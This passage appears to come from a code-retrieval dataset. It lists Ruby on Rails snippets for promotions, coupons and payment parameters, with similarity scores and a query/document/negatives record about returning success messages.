"def create\n @promotion = Promotion.new(params[:promotion])\n @promotion.active = false\n @promotion.end_date = @promotion.start_date + params[:duration].to_i.days + params[:end_time].to_i.hours\n @promotion.ad_description4 = @promotion.name\n @promotion.ad_description5 = @promotion.name\n @promotion.ad_description6 = @promotion.name\n @promotion.ad_description7 = @promotion.name\n \n # remove \n @promotion.summary = @promotion.summary.gsub(/\\ \\;/,\" \")\n @promotion.body1 = @promotion.body1.gsub(/\\ \\;/,\" \")\n @promotion.body2 = @promotion.body2.gsub(/\\ \\;/,\" \")\n \n respond_to do |format|\n if @promotion.save\n\n # create business payment\n @business_payment = BusinessPayment.new\n @business_payment.promotion_id = @promotion.id\n @business_payment.business_id = @promotion.business.id\n @business_payment.save\n \n flash[:notice] = 'Promotion was successfully created.'\n format.html { redirect_to admin_promotions_path }\n format.xml { render :xml => @promotion, :status => :created, :location => @promotion }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @promotion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def promotion_params\n params.require(:promotion).permit( :title,:content,:startdate,:enddate,:showdate)\n end",
"def promo_code_params\n params.require(:promo_code).permit(:start_date, :end_date, :code, :discount, :description)\n end",
"def promo_params\n params.require(:promo).permit(:titulo, :version, :imgpromo, :texto, :validez, :validez_elegida, :normal_price, :special_price)\n end",
"def create\n @promotion = Promotion.new(promotion_params)\n\n respond_to do |format|\n if @promotion.save\n format.html { redirect_to @promotion, notice: 'Promotion was successfully created.' }\n format.json { render :show, status: :created, location: @promotion }\n else\n format.html { render :new }\n format.json { render json: @promotion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @promotion = Promotion.new(promotion_params)\n\n respond_to do |format|\n if @promotion.save\n format.html { redirect_to @promotion, notice: 'Promotion was successfully created.' }\n format.json { render :show, status: :created, location: @promotion }\n else\n format.html { render :new }\n format.json { render json: @promotion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def coupon_params\n params.require(:coupon).permit(:title, :message, :init_date, :end_date, :access_level, :legal, :proximity_trigger_range, :image, :code, :store_id, :stock, :category, :use_instructions)\n end",
"def supplier_promotion_activity_apply_params\n params.require(:supplier_promotion_activity_apply).permit(:promotion_activity_id, :provider_id, :status, :product_count, :active, :apply_time)\n end",
"def daw_matricula_promo_params\n params.require(:daw_matricula_promo).permit(:daw_promo_id)\n end",
"def create\n @promotion_code = PromotionCode.new(params[:promotion_code])\n @promotion_code.name = @promotion_code.name.capitalize\n @promotion_code.code = @promotion_code.code.downcase\n @promotion_code.use_limit ||= 99999\n @promotion_code.user_id = current_user.id\n\n respond_to do |format|\n if @promotion_code.save\n flash[:notice] = 'PromotionCode was successfully created.'\n format.html { redirect_to admin_promotion_codes_path }\n format.xml { render :xml => @promotion_code, :status => :created, :location => @promotion_code }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @promotion_code.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @title = t('admin.promotions.new.title')\n @promotion = Promotion.new params[:promotion]\n @promotion.state = 'not-published'\n respond_to do |format|\n if @promotion.save\n format.html { redirect_to ['admin', @promotion], notice: 'Promotion was successfully created.' }\n format.json { render json: @promotion, status: :created, location: @promotion }\n else\n format.html { render action: 'new' }\n format.json { render json: @promotion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def auction_promotion_activity_apply_params\n params.require(:auction_promotion_activity_apply).permit(:promotion_activity_id, :provider_id, :status, :product_count, :active, :apply_time)\n end",
"def create\n @promotion = Promotion.new(promotion_params)\n\n respond_to do |format|\n if @promotion.save\n\t\t@promotion.update_notification\n\t\t#@promotion.push\n format.html { redirect_to promotions_path(:playerid=>current_player.playerid), notice: 'Promotion was successfully created.' }\n format.json { render json: @promotion, status: :created, location: @promotion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @promotion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def promo_slide_params\n params.require(:promo_slide).permit(:data_type, :html_code, :image, :image_new, :link, :live, :sort_order, :title, :link_path, :remove_image)\n end",
"def create\n\n\n\n @promotion = Promotion.new(promotion_params)\n respond_to do |format|\n if @promotion.save\n format.html { redirect_to adminpromotions_path, notice: 'Test was successfully created.' }\n format.json { render :show, status: :created, location: @adminpromotion }\n else\n format.html { render :new }\n format.json { render json: @adminpromotion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def daw_promo_params\n params.require(:daw_promo).permit(:pro_nombre, :pro_porcentaje, :pro_fechaini, :pro_fechafin, :pro_tipopromocion, :pro_estado, :daw_alianza_id)\n end",
"def detail_params_new\n params.require(:detail).permit(:count, :location_id, :equipment_id, :vendor_name, :vendor_contact, :purchase_date, :issue_date, :unit_cost)\n end",
"def create\n @promotion = Promotion.new(promotion_params)\n authorize @promotion\n if @promotion.save\n render json: {promotion: @promotion, status: :created }\n else\n render json: {errors: @promotion.errors, status: :unprocessable_entity }, status: :unprocessable_entity\n end\n end",
"def create\n @promotion = Promotion.new(promotion_params)\n\n if @promotion.save\n render json: @promotion, status: :created, location: @promotion\n else\n render json: @promotion.errors, status: :unprocessable_entity\n end\n end",
"def create\n @promotion = Promotion.new(params[:promotion])\n\n respond_to do |format|\n if @promotion.save\n format.html { redirect_to @promotion, notice: 'Promotion was successfully created.' }\n format.json { render json: @promotion, status: :created, location: @promotion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @promotion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @promotion = Promotion.new(params[:promotion])\n\n respond_to do |format|\n if @promotion.save\n\t\t@promotion.update_notification\n\t\t@promotion.push\n format.html { redirect_to promotions_path(:playerid=>current_player.playerid), notice: 'Promotion was successfully created.' }\n format.json { render json: @promotion, status: :created, location: @promotion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @promotion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def loyalty_program_coupon_params\n params.require(:loyalty_program_coupon).permit(:loyalty_program_id, :loyalty_program_name, :header, :ad_id, :add_url, :description, :code, :start_date, :expires_at, :created_at, :updated_at, :manually_uploaded)\n end",
"def purchase_params\n params.require(:purchase).permit(:user_id, :purchase_option_id).merge(content_id: content_id)\n end",
"def create\n @storepromotion = Storepromotion.new(storepromotion_params)\n\n respond_to do |format|\n if @storepromotion.save\n format.html { redirect_to @storepromotion, notice: 'Storepromotion was successfully created.' }\n format.json { render :show, status: :created, location: @storepromotion }\n else\n format.html { render :new }\n format.json { render json: @storepromotion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def promo_params\n params.require(:promo).permit(:titulo, :imgpromo, :texto, :validez)\n end",
"def promo_params\n params.require(:promo).permit(:titulo, :imgpromo, :texto, :validez)\n end",
"def creation_params(raw:, activation_date:, metadata:)\n {\n private: raw.secret_key_present? ? raw.export_secret : nil,\n public: raw.public_key_present? ? raw.export_public : nil,\n activation_date: activation_date,\n metadata: metadata,\n primary_key_grip: metadata[\"primary key grip\"],\n grip: metadata[\"grip\"],\n fingerprint: metadata[\"fingerprint\"],\n }.reject { |_k, v| v.nil? }\n end",
"def promocode_params\n params.permit(:promocode)\n end",
"def coupon_params\n params.require(:coupon).permit(:title, :description, :valid_from, :valid_until, :redemption_limit, :image)\n end",
"def coupon_params\n params.require(:coupon).permit(:code,:description,:valid_from,:valid_until,:amount,:redemption_limit,:discount_type)\n end",
"def create\r\n @promotion = Promotion.new(params[:promotion])\r\n\r\n respond_to do |format|\r\n if @promotion.save\r\n format.html { redirect_to @promotion, notice: 'Promotion was successfully created.' }\r\n format.json { render json: @promotion, status: :created, location: @promotion }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @promotion.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def promobar_params\n params.require(:promobar).permit(:bar_type,:name, :text, :background_color, :background_opacity, :promobar_show, :button_on, :button_text, :x_button_on, :order_number,\n :button_shape, :button_color, :button_hover, :text_animation, :alignment, :url_link, :url_link_blank, :enable_on_mobile, :change_time, :height, :promobar_link, :promobar_link_blank, :custom_css)\n end",
"def housing_detail_management_params\n params.require(:housing_detail_management).permit(:status, :approval, :approved_user_id)\n end",
"def purchase_params\n @purchase_params ||= params.require(:purchase).permit(\n :amount, :amount_in_cents, :employee_id, :qty,\n :venue_id, :tap_id, :description\n ).to_h\n end",
"def resource_params\n params\n .require(:discount)\n .permit(\n :discount_type, :title, :description, :cost, :product_description,\n :starts_at, :ends_at, :active, :featured,\n :terms_and_conditions, :picture,\n steps_attributes: %i[id position text _destroy],\n segment_ids: []\n )\n end",
"def admin_discount_params\n params.require(:admin_discount).permit(:started_at, :ended_at, :title, :description, :variant, :amount, :step, :discounted_product)\n end",
"def product_params\n params.permit(:product_id,:promotion_id)\n end",
"def create\n @promotion = Promotion.new(promotion_params)\n\n respond_to do |format|\n if @promotion.save\n format.html {redirect_to @promotion, notice: 'Promotion was successfully created.'}\n format.json {render :show, status: :created, location: @promotion}\n else\n format.html {render :new}\n format.json {render json: @promotion.errors, status: :unprocessable_entity}\n end\n end\n end",
"def property_params\n params.require(:property).permit(:Code, :County, :Price, :CurrentPrice, :Shares, :Rate, :ShareValue, :locality, :LR, :Title, :Reason, :StartOffer, :EndOffer, :user_id, :Area_of_land, :brochure)\n end",
"def coupon_params\n params.require(:coupon).permit(:code, :valid_city, :value, :value_type, :qualifying_amount, :max_discount, :max_usage, :max_usage_per_user, :expire_date, :start_date, :success_message, :coupon_message, :status, :valid_product, :valid_category, :valid_company)\n end",
"def create\n @cpanel_promotion = Cpanel::Promotion.new(cpanel_promotion_params)\n\n respond_to do |format|\n if @cpanel_promotion.save\n format.html { redirect_to @cpanel_promotion, notice: 'Promotion was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cpanel_promotion }\n else\n format.html { render action: 'new' }\n format.json { render json: @cpanel_promotion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def coupon_params\n params.require(:coupon).permit(:shop_id, :country_id, :kind, :discount_mode, :discount, :discount_products, :additional_info, :coupon_use, :instruction, :background, :point_price, :secret, :number_of_coupons, :number, :status, :buyer_id, :purchased_at, :utilized_at, :currency_id)\n end",
"def mobile_alipay_params\n params.require(:mobile_alipay).permit(:pid, :pkey, :email, :use_mobile_alipay, :shop_id)\n end",
"def create\n @admin_promo = Admin::Promo.new(admin_promo_params)\n\n respond_to do |format|\n if @admin_promo.save\n format.html { redirect_to session['previous_url'] || admin_promos_path, notice: 'Promozioni è stato creato con successo.' }\n format.json { render :show, status: :created, location: @admin_promo }\n else\n format.html { render :new }\n format.json { render json: @admin_promo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if current_user\n redirect_to :action => :redeem\n return\n end\n promo = Promo.where(['code = ? AND valid_until > ?', params[:code], Time.new]).first\n raise HttpException.new(404, \"No such promotion\") unless promo\n session[:promo_code] = promo.code\n render :nothing => true, :status => :ok\n end",
"def create\n @promotion = current_shop_owner.promotions.new(promotion_params.merge(customer_ids: customer_ids))\n\n # @promotion.translate(@promotion.body)\n\n# make notes that belong to the current shop owner\n respond_to do |format|\n if @promotion.save\n format.html { redirect_to shop_owner_promotion_path(current_shop_owner,@promotion), notice: 'Promotion was successfully created.' }\n # send_text.promotion\n format.json { render :show, status: :created, location: @promotion }\n else\n format.html { render :new }\n format.json { render json: @promotion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def coupon_params\n params.require(:coupon).permit(:activated, :expired_date, :description, :percentage, :token)\n end",
"def coupon_params\n\t params.require(:coupon).permit(:description, :minimum_value, :percent)\n\t end",
"def product_purchase_params\n params.require(:product_purchase).permit(:product_id, :purchase_id, :unity_value, :quantity, :value, :status, :custom_title)\n end",
"def purchase_params\n params.require(:purchase).permit(:product_id, :user_id, :receive_name, :addr, :phone, :memo, :total_cost, :trade_type, :payer, :status, :ship_cost, :ship_company,\n :trans_num, :quantity, :ordertype, :option, :detail)\n \n end",
"def process_params(list)\n # Parameters: {\"utf8\"=>\"✓\", \"authenticity_token\"=>\"tGvVyCEfLgpv2xvd2UcSLnhS56lrjAqxg/O5M4DNmiY=\", \"order\"=>{\"products\"=>{\"product0\"=>\"3\", \"quantity0\"=>\"3\", \"product1\"=>\"\", \"quantity1\"=>\"\", \"product2\"=>\"\", \"quantity2\"=>\"\", \"product3\"=>\"\", \"quantity3\"=>\"\", \"product4\"=>\"\", \"quantity4\"=>\"\"}}, \"commit\"=>\"Save changes\", \"id\"=>\"302\"}\n hash = {}\n memory = []\n list[:products].each do |k, value|\n if k[0] == \"p\" && !value.empty?\n hash[value] = nil\n memory[k[-1].to_i] = value.to_i\n elsif k[0] == \"q\" && !value.empty?\n key = memory[k[-1].to_i]\n hash[key] = value if key\n end\n end\n hash\n end",
"def coupon_params\n params.require(:coupon).permit(:name, :code, :description, :is_porcentage, :value, :quantity, :cargapp_model_id, :user_id, :active, :company_id, :image, :category)\n end",
"def create\n @home_promotion = Home::Promotion.new(params[:home_promotion])\n\n respond_to do |format|\n if @home_promotion.save\n format.html { redirect_to @home_promotion, notice: 'Promotion was successfully created.' }\n format.json { render json: @home_promotion, status: :created, location: @home_promotion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @home_promotion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_params\n herbarium_params.merge(\n name: \" Burbank <blah> Herbarium \",\n code: \"BH \",\n place_name: \"Burbank, California, USA\",\n email: \"curator@bh.org\",\n mailing_address: \"New Herbarium\\n1234 Figueroa\\nBurbank, CA, 91234\\n\\n\\n\",\n description: \"\\nSpecializes in local macrofungi. <http:blah>\\n\"\n )\n end",
"def create\n @promotion_type = PromotionType.new(params[:promotion_type])\n\n respond_to do |format|\n if @promotion_type.save\n format.html { redirect_to @promotion_type, notice: 'Promotion type was successfully created.' }\n format.json { render json: @promotion_type, status: :created, location: @promotion_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @promotion_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def payment_coupon_params\n params.require(:payment_coupon).permit(:code, :start_at, :end_at, :price, :note)\n end",
"def auction_promotion_activity_apply_product_params\n params.require(:auction_promotion_activity_apply_product).permit(:promotion_activity_id, :provider_id, :active, :promotion_activity_apply_id, :product_id, :provider_price)\n end",
"def prepare_authorize_params(source, gateway_options)\n order_number, payment_number = gateway_options[:order_id].split('-')\n order = Spree::Order.friendly.find order_number\n payment = Spree::Payment.friendly.find payment_number\n portion_value = Spree::KomerciConfig.calculate_portion_value order, gateway_options[:portions]\n total_value = sprintf('%0.2f', portion_value * gateway_options[:portions])\n\n year = source.year.to_s.last(2)\n month = source.month.to_s.rjust(2, '0')\n\n params = {\n total: total_value,\n filiacao: Spree::KomerciConfig[:afiliation_key],\n numpedido: \"#{order_number}-#{payment.id}\",\n nrcartao: source.number,\n cvc2: source.verification_value,\n mes: month,\n ano: year,\n portador: source.name,\n conftxn: 'S'\n }\n\n [:iata, :distribuidor, :concentrador, :taxaembarque, :entrada, :adddata, :add_data,\n :numdoc1, :numdoc2, :numdoc3, :numdoc4, :pax1, :pax2, :pax3, :pax4].each { |p| params[p] = nil }\n\n params\n end",
"def coupon_params\n params.require(:coupon).permit(:ticket_id,\n :discount_type, :discount_amount,\n :name, :description,\n :max_times,\n :start_time, :end_time)\n end",
"def copon_params\n params.require(:copon).permit(:has_fixed_amount, :discount, :expiration_type)\n end",
"def product_params\n params.require(:product).permit(:name, :price, :promotion_id)\n end",
"def promotion_id1=(promotion_id1)\n if !promotion_id1.nil? && promotion_id1.to_s.length > 30\n fail ArgumentError, 'invalid value for \"promotion_id1\", the character length must be smaller than or equal to 30.'\n end\n\n @promotion_id1 = promotion_id1\n end",
"def property_identification_params\n #params[:valuation_fee]\n params.require(:property_identification).permit(:customer_code, :customer, :tenure_system, :LRV, :folio, :lease_effective_date, :lease_expiry_date, :lease_tenor,\n \t\t\t\t\t\t\t\t\t\t\t\t :outstanding_lease_tenor, :unit, :flat, :block, :plot, :road_location, :area, :district, :county, :sub_county,\n \t\t\t\t\t\t\t\t\t\t\t\t :parish, :LC, :land_area_hectares, :land_area_acres, :built_area, :property_description, :number_of_units,\n \t\t\t\t\t\t\t\t\t\t\t\t :property_type, :number_of_bedrooms, :property_status, :roof_type, :additional_description)\n end",
"def promo_params\n params.require(:promo).permit(:titulo, :imgpromo, :texto, :validez)\n end",
"def create_params\n params = @params.clone\n params[:params] = params[:params].clone\n\n action_keys = params[:params].select {|key, val| key =~ /\\Aaction_.*/ }\n action_keys.each do |key, val|\n new_key = key.gsub(/\\Aaction_/, \"action_survey_\")\n params[:params][new_key] = val\n params[:params].delete(key)\n end\n\n params\n end",
"def assign_attributes_with_params params\n\t\t\t\t# Description\n\t\t\t\t# if params.has_key? :description\n\t\t\t\t# params[:description] = ApplicationHelper.encode_plain_text params[:description]\n\t\t\t\t# end\n\n\t\t\t\t# Get price\n\t\t\t\tif params.has_key? :sell_price\n\t\t\t\t\tparams[:sell_price] = ApplicationHelper.format_i params[:sell_price]\n\t\t\t\t\tparams[:sell_price_text] = ApplicationHelper.read_money params[:sell_price]\n\t\t\t\tend\n\t\t\t\tif params.has_key? :rent_price\n\t\t\t\t\tparams[:rent_price] = ApplicationHelper.format_i(params[:rent_price])\n\t\t\t\t\tparams[:rent_price_text] = ApplicationHelper.read_money params[:rent_price]\n\t\t\t\tend\n\n\t\t\t\t# Alley width\n\t\t\t\tparams[:alley_width] = ApplicationHelper.format_f params[:alley_width] if params.has_key? :alley_width\n\n\t\t\t\t# Area\n\t\t\t\tparams[:constructional_area] = ApplicationHelper.format_f params[:constructional_area] if params.has_key? :constructional_area\n\t\t\t\tparams[:using_area] = ApplicationHelper.format_f params[:using_area] if params.has_key? :using_area\n\t\t\t\tparams[:campus_area] = ApplicationHelper.format_f params[:campus_area] if params.has_key? :campus_area\n\t\t\t\tparams[:garden_area] = ApplicationHelper.format_f params[:garden_area] if params.has_key? :garden_area\n\t\t\t\tparams[:width_x] = ApplicationHelper.format_f params[:width_x] if params.has_key? :width_x\n\t\t\t\tparams[:width_y] = ApplicationHelper.format_f params[:width_y] if params.has_key? :width_y\n\n\t\t\t\t# Location\n\t\t\t\tif params[:province].present?\n\t\t\t\t\tif params[:province] == 'Hồ Chí Minh'\n\t\t\t\t\t\tparams[:province] = 'Tp. Hồ Chí Minh'\n\t\t\t\t\tend\n\t\t\t\t\tprovince = Province.find_or_create_by name: params[:province]\n\t\t\t\t\tparams[:province_id] = province.id\n\t\t\t\tend\n\t\t\t\tif params[:district].present? && params[:province_id].present?\n\t\t\t\t\tdistrict = District.find_or_create_by name: params[:district], province_id: params[:province_id]\n\t\t\t\t\tparams[:district_id] = district.id\n\t\t\t\tend\n\t\t\t\tif params[:ward].present? && params[:district_id].present?\n\t\t\t\t\tward = Ward.find_or_create_by name: params[:ward], district_id: params[:district_id]\n\t\t\t\t\tparams[:ward_id] = ward.id\n\t\t\t\tend\n\t\t\t\tif params[:street].present? && params[:district_id].present?\n\t\t\t\t\tstreet = Street.find_or_create_by name: params[:street], district_id: params[:district_id]\n\t\t\t\t\tparams[:street_id] = street.id\n\t\t\t\tend\n\n\t\t\t\t# Advantages, disavantage, property utility, region utility\n\t\t\t\tparams[:advantage_ids] = [] unless params.has_key? :advantage_ids\n\t\t\t\tparams[:disadvantage_ids] = [] unless params.has_key? :disadvantage_ids\n\t\t\t\tparams[:property_utility_ids] = [] unless params.has_key? :property_utility_ids\n\t\t\t\tparams[:region_utility_ids] = [] unless params.has_key? :region_utility_ids\n\n\t\t\t\t# Images\n\t\t\t\t_images = []\n\t\t\t\t_has_avatar = false\n\t\t\t\tif params[:images].present?\n\t\t\t\t\tparams[:images].each do |_v|\n\t\t\t\t\t\t_value = JSON.parse _v\n\t\t\t\t\t\t_value['is_avatar'] ||= false\n\n\t\t\t\t\t\tif _value['is_new']\n\t\t\t\t\t\t\tTemporaryFile.get_file(_value['id']) do |_image|\n\t\t\t\t\t\t\t\t_images << RealEstateImage.new(image: _image, is_avatar: _value['is_avatar'], order: _value['order'], description: _value['description'])\n\n\t\t\t\t\t\t\t\t_has_avatar = true if _value['is_avatar']\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t_image = RealEstateImage.find _value['id']\n\t\t\t\t\t\t\t_image.description = _value['description']\n\t\t\t\t\t\t\t_image.is_avatar = _value['is_avatar']\n\t\t\t\t\t\t\t_image.order = _value['order'] \n\n\t\t\t\t\t\t\t_has_avatar = true if _value['is_avatar']\n\n\t\t\t\t\t\t\t_images << _image\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif !_has_avatar && _images.length != 0\n\t\t\t\t\t_images[0].assign_attributes is_avatar: true\n\t\t\t\tend\n\t\t\t\tassign_attributes images: _images\n\n\t\t\t\tassign_attributes params.permit [\n\t\t\t\t\t:is_full, :is_draft,\n\t\t\t\t\t:title, :description, :purpose_id, :sell_price, :sell_price_text, :rent_price, :rent_price_text, \n\t\t\t\t\t:currency_id, :sell_unit_id, :rent_unit_id, :is_negotiable, :province_id, :district_id, :ward_id, :street_id, \n\t\t\t\t\t:address_number, :street_type, :is_alley, :real_estate_type_id, :building_name,\n\t\t\t\t\t:legal_record_type_id, :planning_status_type_id, :custom_advantages, :custom_disadvantages,\n\t\t\t\t\t:alley_width, :shape_width, :custom_legal_record_type, :custom_planning_status_type, :is_draft,\n\t\t\t\t\t:lat, :lng, :user_type, :user_id, :appraisal_purpose, :appraisal_type, :campus_area, :using_area, :constructional_area, :garden_area,\n\t\t\t\t\t:shape, :shape_width, :bedroom_number, :build_year, :constructional_level_id, :restroom_number,\n\t\t\t\t\t:width_x, :width_y, :floor_number, :constructional_quality, :direction_id, :block_id,\n\t\t\t\t\tadvantage_ids: [], disadvantage_ids: [], property_utility_ids: [], region_utility_ids: []\n\t\t\t\t]\n\t\t\tend",
"def coupon_setting_params\n params.require(:coupon_setting).permit(:item_id, :status, :name, :message, :thumbnail)\n end",
"def property_params\n params.require(:property).permit(:id, :auctionStatus, :caseID, :caseType, :judgement, :assesed, :parcel, :address, :city, :state, :zip, :legal, :beds, :baths, :area, :lot, :year, :estimate, :rentEstimate, :zillow, :date)\n end",
"def create\n @client_id = params[:client_id]\n @promotion = Promotion.new(params[:promotion])\n\n @promotion.start_date = Date.today\n @promotion.finish_date = Date.today + 10\n\n # @promotion.define_coordinates(@promotion)\n\n respond_to do |format|\n if @promotion.save\n \n format.html { redirect_to(promotion_path(:client_id => @client_id), :notice => 'Promotion was successfully created.') }\n format.xml { render :xml => @promotion, :status => :created, :location => @promotion }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @promotion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def payment_params\n #params.require(:payment).permit(:user_id, :workshop_id, :transaction_amount, :collection_id, :collection_status, :collection_status_detail, :preference_id, :payment_type)\n params.require(:payment).permit(:user_id, :workshop_id, :collection_id)\n end",
"def coupon_code_params\n params.require(:coupon_code).permit(:code, :type, :value, :cashback_value, :start_date, :end_date, :active, :minimum_delivery_amount_after_discount, :maximum_discount, :applicable_outlet_ids => [])\n end",
"def property_params\n params.require(:property).permit(:lol3, :unit, :group, :tenantid, :resident_name, :resident_rent, :unit_rent, :discount, :status, :days_vacant, :move_out, :lease_to, :amenities, :amenities_amount, :discounts, :company_id, :unit_type_id)\n end",
"def coupon_params\n params.require(:coupon).permit(:name, :description, :code, :url, :begin_at, :end_at, :enabled, :rules_url, :affiliate, :store_id)\n end",
"def initialize(promotion, base_code, num_codes)\n @base_code = base_code\n @num_codes = num_codes\n @promotion = promotion\n end",
"def horizontal_property_params\n params.require(:horizontal_property).permit(:user_id, :act_id, :propiedad, :alicuota, :expensas, :comparece_menor, :nombres_tutor, :fecha_adjudicacion, :fecha_acta_notarial)\n end",
"def couponbat_params\n params.require(:couponbat).permit(:name, :number, :facevalue, :condition, :expirytype, :assignexpiry, :fixedexpiry, :coupontype, :summary, :generate, :numbegin, :numend, :city, :prefix, :digit)\n end",
"def payment_params\n params.permit(:user_id, :payable_id, :payable_type, :promotionable_id, :promotionable_type, :kind, :transaction_amount, :installments, :payment_method_id, :token, :mercadopago_payment, :mercadopago_payment_id, :save_address, :save_card)\n end",
"def property_related_params\n params.require(:property_related).permit(:has_crime_record, :has_testament,\n loans_attributes: [:id, :_destroy, :start_day, :end_day, :notary_type, :description, :amount, :scan_file],\n house_purchases_attributes: [:id, :_destroy, :trade_day, :trade_type, :house_type, :house_address, :house_amount, :scan_file],\n deposits_attributes: [:id, :_destroy, :deposit_day, :receive_day, :amount, :scan_file]\n )\n end",
"def active_promotion\n @active_promotion ||= OpenStruct.new(credit: 100.00)\n end"
] |
[
"0.7339023",
"0.73070526",
"0.70700485",
"0.70330703",
"0.69642144",
"0.69430506",
"0.67900425",
"0.6747111",
"0.6740695",
"0.67228645",
"0.67018515",
"0.66115004",
"0.6611214",
"0.6491016",
"0.6424513",
"0.6364343",
"0.6309591",
"0.62699157",
"0.6222079",
"0.6184785",
"0.611137",
"0.60207665",
"0.5898844",
"0.58268166",
"0.578908",
"0.5783233",
"0.5783233",
"0.57823646",
"0.577779",
"0.5765121",
"0.5750817",
"0.57375026",
"0.57245594",
"0.5714313",
"0.57123643",
"0.5691145",
"0.5663018",
"0.5652141",
"0.5646176",
"0.5638009",
"0.5616562",
"0.56082076",
"0.55750626",
"0.5557115",
"0.5556662",
"0.5553098",
"0.5553098",
"0.55490446",
"0.5544466",
"0.553551",
"0.5529826",
"0.55272025",
"0.551115",
"0.5510756",
"0.5503104",
"0.5492907",
"0.5472959",
"0.54681444",
"0.54672015",
"0.54605025",
"0.5459607",
"0.5438874",
"0.54340816",
"0.5425796",
"0.54257625",
"0.5408742",
"0.53767055",
"0.5374387",
"0.5371259",
"0.5365266",
"0.53566754",
"0.53541887",
"0.5349543",
"0.53434783",
"0.5341288",
"0.5340336",
"0.533777",
"0.533699",
"0.5332917",
"0.5329921",
"0.53287137",
"0.5315913",
"0.5314952",
"0.5311275",
"0.53054386",
"0.53043324",
"0.5298593",
"0.52932906",
"0.5290234",
"0.5285378",
"0.52853316",
"0.5284364",
"0.528169",
"0.52753854",
"0.52595663",
"0.5259337",
"0.5259299",
"0.52516276",
"0.52514046",
"0.5244917"
] |
0.66889244
|
11
|
====================================================== public: Get Message once promotion creaion is successful return: success message ======================================================
|
def get_creation_success_message
log('returned text is - " + success_msg.text()')
return success_msg.text()
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def status\n return nil if self.nexmo_message_id.nil?\n\n client = NexmoClientFactory.client\n client.get_message(nexmo_message_id)\n end",
"def get_message\n get_status[:message]\n end",
"def get_message()\n m = @RESPONSE_HASH['MESSAGE']\n if (m == nil or m == \"\")\n return \"ERROR - NO MESSAGE FROM BLUEPAY\"\n end\n return m\n end",
"def get_payment_message\n final_price =self.subscription.plan_price.to_f\n coupon_found = self.orders.where(state: 'paused').first.coupon.present?\n payment_message = \"You will be charged $#{final_price}/month for this subscription.\"\n payment_message = self.coupon.price_with_coupon(final_price) if coupon_found\n payment_message\n end",
"def getMessage()\n return @message\n end",
"def deliver_message(options)\n self.sms_service_provider||= default_service_provider\n\n # set the actual message if it differs; not a before_save to reduce the\n # overhead of checking for all commits\n self.actual_message = substituted_draft_message\n\n result = (self.sms_service_provider).send_sms(self)\n self.unique_id = result[:unique_id] if result.is_a?(Hash)\n \n result\n end",
"def fetch_message(notification)\n space_allowance = PAYLOAD_LIMIT - used_space(notification)\n\n mobile_message = ''\n if notification.parent_id\n parent = notification.class.find(notification.parent_id)\n mobile_message = mobile_message(parent, space_allowance)\n else\n mobile_message = mobile_message(notification, space_allowance)\n end\n mobile_message.gsub!('\\n', \"\\n\")\n\n return mobile_message\n end",
"def message\n if success?\n nil\n else\n body ? self[\"message\"] : \"Resource not found.\"\n end\n end",
"def message\n fetch_response.message\n end",
"def get_mms_message\n #encoded=Base64.encode64(s)\n return self.build_MMS_message(self.content)\n end",
"def get_message\n @reply['message']\n end",
"def message\n options.delete(:message) || translated_message\n end",
"def message\n response_json.fetch(\"message\", \"\")\n end",
"def message\n @messages.first\n end",
"def message\n @_message ||= @response['message']\n end",
"def manager_action_message\n return @manager_action_message\n end",
"def message\n @values['message']\n end",
"def message\n MESSAGE\n end",
"def message\n MESSAGE\n end",
"def message\n MESSAGE\n end",
"def message\n MESSAGE\n end",
"def message\n @message\n end",
"def message\n\t\t@message \n\tend",
"def message\n @data['message']\n end",
"def message_results\n @message_results\n end",
"def info\n if @succeeded then 'Success' else \"Failure message='#{@message}'\" end\n end",
"def __getobj__ #:nodoc:\n @sms_message ||= processed_smser.message\n end",
"def message\n @message\n end",
"def message\n info['Message']\n end",
"def execute_promotion\n begin\n self.product.promotions.where(send_post_registration_message: true).find_each do |promo|\n if self.created_at.to_date >= promo.start_on.to_date && self.created_at.to_date <= promo.end_on.to_date\n SiteMailer.delay.promo_post_registration(self, promo)\n end\n end\n rescue\n logger.debug \"problem executing a promotion\"\n end\n end",
"def message\n\t\tself.object[\"message\"]\n\tend",
"def get_message # 優惠訊息\n\t\tif self.range == 'all'\n msg1 = '全館'\n elsif self.range == 'price'\n msg1 = '全館滿' + self.range_price.to_s + '元'\n elsif self.range == 'product'\n if self.range_quantity == 1\n msg1 = '本商品每件'\n else\n msg1 = '本商品' + self.range_quantity.to_s + '件'\n end\n end\n\n if self.offer == 'freight'\n if self.offer_freight == 'all'\n msg2 = '免運費'\n elsif self.offer_freight == 'CVS'\n msg2 = '超商取貨免運費'\n elsif self.offer_freight == 'Home'\n msg2 = '宅配免運費'\n end\n elsif self.offer == 'price'\n msg2 = '折' + self.offer_price.to_s + '元'\n elsif self.offer == 'discount'\n msg2 = '打' + self.offer_discount.to_s + '折'\n end\n\n msg1 + msg2\n\tend",
